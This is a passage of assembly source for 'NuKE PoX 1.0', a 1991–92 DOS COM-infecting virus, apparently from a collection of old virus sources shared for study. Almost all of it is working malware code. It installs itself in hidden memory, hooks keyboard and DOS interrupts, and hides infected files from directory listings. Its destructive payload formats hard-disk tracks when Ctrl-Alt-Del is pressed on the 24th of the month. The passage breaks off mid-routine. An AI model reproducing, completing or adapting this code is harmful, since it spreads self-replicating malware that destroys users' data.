npox-v10.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-*      (c) Rock Steady, Viral Developments                             -*
;*-      (c) NuKE Software Developement  1991, 1992                      *-
;-*  Virus: NuKE PoX Version 1.0  (Alias `Mutating Rocko')               -*
;*-  ~~~~~~                                                              *-
;-*  Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness     -*
;*-  ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different   *-
;-*         Encrypted Copies of the Virus)                               -*
;*-  Bytes: 609 Bytes           Memory: (609 * 2) = 1,218 Bytes          *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size      equ     crypt - init_virus    ;All that gets Incrypted     
virus_size      equ     last - init_virus     ;Size of the Virus           
mut1            equ     3                                                  
mut2            equ     1                                                  
mut3            equ     103h                                               
del_code        equ     53h                   ;CTRL-ATL-DEL Key            
seg_a           segment byte public                                        
                assume  cs:seg_a, ds:seg_a                                 
                org     100h                                               
rocko           proc    far                                                
                                                                           
start:          jmp     init_virus                              ;+3 bytes  
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
init_virus: call    decrypt         ;Decryption Routine Please  ;+3 Bytes  
            call    doit_now        ;Doit VirusMan...           ;+3 Bytes  
                                                                ;========  
doit_now:   pop     bp              ;Anything ABOVE THIS LINE     9 Bytes  
            sub     bp,109h         ;have to be added to the 100h! This    
            push    ax              ;SETs our `Delta Pointer'.             
            push    bx                                                     
            push    cx                                                     
            push    dx              ;Save registers                        
            push    si                                                     
            push    di                                                     
            push    bp                                                     
            push    es                                                     
            push    ds                                                     
                                                                           
            mov     ax,0abcdh       ;Are we resident Already?              
            int     21h                                                    
            cmp     bx,0abcdh       ;Yupe... Quit Then...                  
            je      exit_com                                               
                                                                           
            push    cs              ;Get CS=DS                             
            pop     ds                                                     
            mov     cx,es                                                  
                                                                           
            mov     ax,3509h        ;Hook Int 9 Please...                  
            int     21h                                                    
            mov     word ptr cs:[int9+2][bp],es     ;Save Orignal Int 9h   
            mov     word ptr cs:[int9][bp],bx       ;Save Orignal Int 9h   
                                                                           
            mov     ax,3521h        ;Some AVs may INTCEPT this Call!       
            int     21h             ;May be better to go Manually...       
            mov     word ptr cs:[int21+2][bp],es    ;Save the Int          
            mov     word ptr cs:[int21][bp],bx      ;Vector Table          
                                                                           
            dec     cx                ;Get a new Memory block              
            mov     es,cx             ;Put it Back to ES                   
            mov     bx,es:mut1                                             
            mov     dx,virus_size+virus_size ;Size to `Hide'               
            mov     cl,4            ;And all this crap hides               
            shr     dx,cl           ;your number of bytes in DX            
            add     dx,4                                                   
            mov     cx,es                                                  
            sub     bx,dx                                                  
            inc     cx                                                     
            mov     es,cx                                                  
            mov     ah,4ah          ;Call int to do it...                  
            int     21h                                                    
                                                                           
            jc      exit_com                                               
            mov     ah,48h                                                 
            dec     dx                                                     
            mov     bx,dx           ;It's Done... Yeah!                    
            int     21h                                                    
                                                                           
            jc      exit_com                                               
            dec     ax                                                     
            mov     es,ax                                                  
            mov     cx,8h           ;Here we move our Virus into           
            mov     es:mut2,cx      ;the `Hidden' memory!                  
            sub     ax,0fh                                                 
            mov     di,mut3                                                
            mov     es,ax                                                  
            mov     si,bp                                                  
            add     si,offset init_virus                                   
            mov     cx,virus_size                                          
            cld                                                            
            repne   movsb                                                  
                                                                           
            mov     ax,2521h                ;Restore Int21 with ours       
            mov     dx,offset int21_handler ;Where it starts               
            push    es                                                     
            pop     ds                                                     
            int     21h                                                    
                                                                           
            mov     ax,2509h                ;Restore Int9 with ours        
            mov     dx,offset int9_handler  ;The Handler...                
            int     21h                                                    
                                                                           
            push    cs                                                     
            pop     ds                                                     
exit_com:                                                                  
            mov     bx,offset buffer        ; Its a COM file restore       
            add     bx,bp                   ; First three Bytes...         
            mov     ax,[bx]                 ; Mov the Byte to AX           
            mov     word ptr ds:[100h],ax   ; First two bytes Restored     
            add     bx,2                    ; Get the next Byte            
            mov     al,[bx]                 ; Move the Byte to AL          
            mov     byte ptr ds:[102h],al   ; Restore the Last of 3 Byt    
            pop     ds                                                     
            pop     es                                                     
            pop     bp                      ; Restore Regesters            
            pop     di                                                     
            pop     si                                                     
            pop     dx                                                     
            pop     cx                                                     
            pop     bx                                                     
            pop     ax                                                     
            mov     ax,100h                 ; Jump Back to Beginning       
            push    ax                      ; Restores our IP (a CALL      
            retn                            ; Saves them, now we change    
int21       dd      ?               ;Our Old Int21                         
int9        dd      ?               ;Our Old Int9                          
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
int9_handler:                                                              
            push    ax                                                     
            in      al,60h          ;Has the user attempted a              
            cmp     al,del_code     ;CTRL-ALT-DEL                          
            je      warm_reboot     ;Yes! Screw him                        
bye_bye:    pop     ax                                                     
            jmp     dword ptr cs:[int9]    ;Nope, Leave alone              
warm_reboot:                                                               
            mov     ah,2ah             ;Get Date Please                    
            int     21h                                                    
            cmp     dl,18h          ;Is it 24th of the Month?              
            jne     bye_bye         ;Yes, bye_Bye HD                       
            mov     ch,0                                                   
hurt_me:    mov     ah,05h                                                 
            mov     dh,0                                                   
            mov     dl,80h          ;Formats a few tracks...               
            int     13h             ;Hurts So good...                      
            inc     ch                                                     
            cmp     ch,20h                                                 
            loopne  hurt_me                                                
            db      0eah,0f0h,0ffh,0ffh,0ffh  ;Reboot!                     
            iret                                                           
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
dir_handler:                                                               
             pushf                                                         
             push    cs                                                    
             call    int21call       ;Get file Stats                       
             test    al,al           ;Good FCB?                            
             jnz     no_good         ;nope                                 
             push    ax                                                    
             push    bx                                                    
             push    es                                                    
             mov     ah,51h          ;Is this Undocmented? huh...          
             int     21h                                                   
                                                                           
             mov     es,bx                                                 
             cmp     bx,es:[16h]                                           
             jnz     not_infected    ;Not for us man...                    
             mov     bx,dx                                                 
             mov     al,[bx]                                               
             push    ax                                                    
             mov     ah,2fh          ;Get file DTA                         
             int     21h                                                   
                                                                           
             pop     ax                                                    
             inc     al                                                    
             jnz     fcb_okay                                              
             add     bx,7h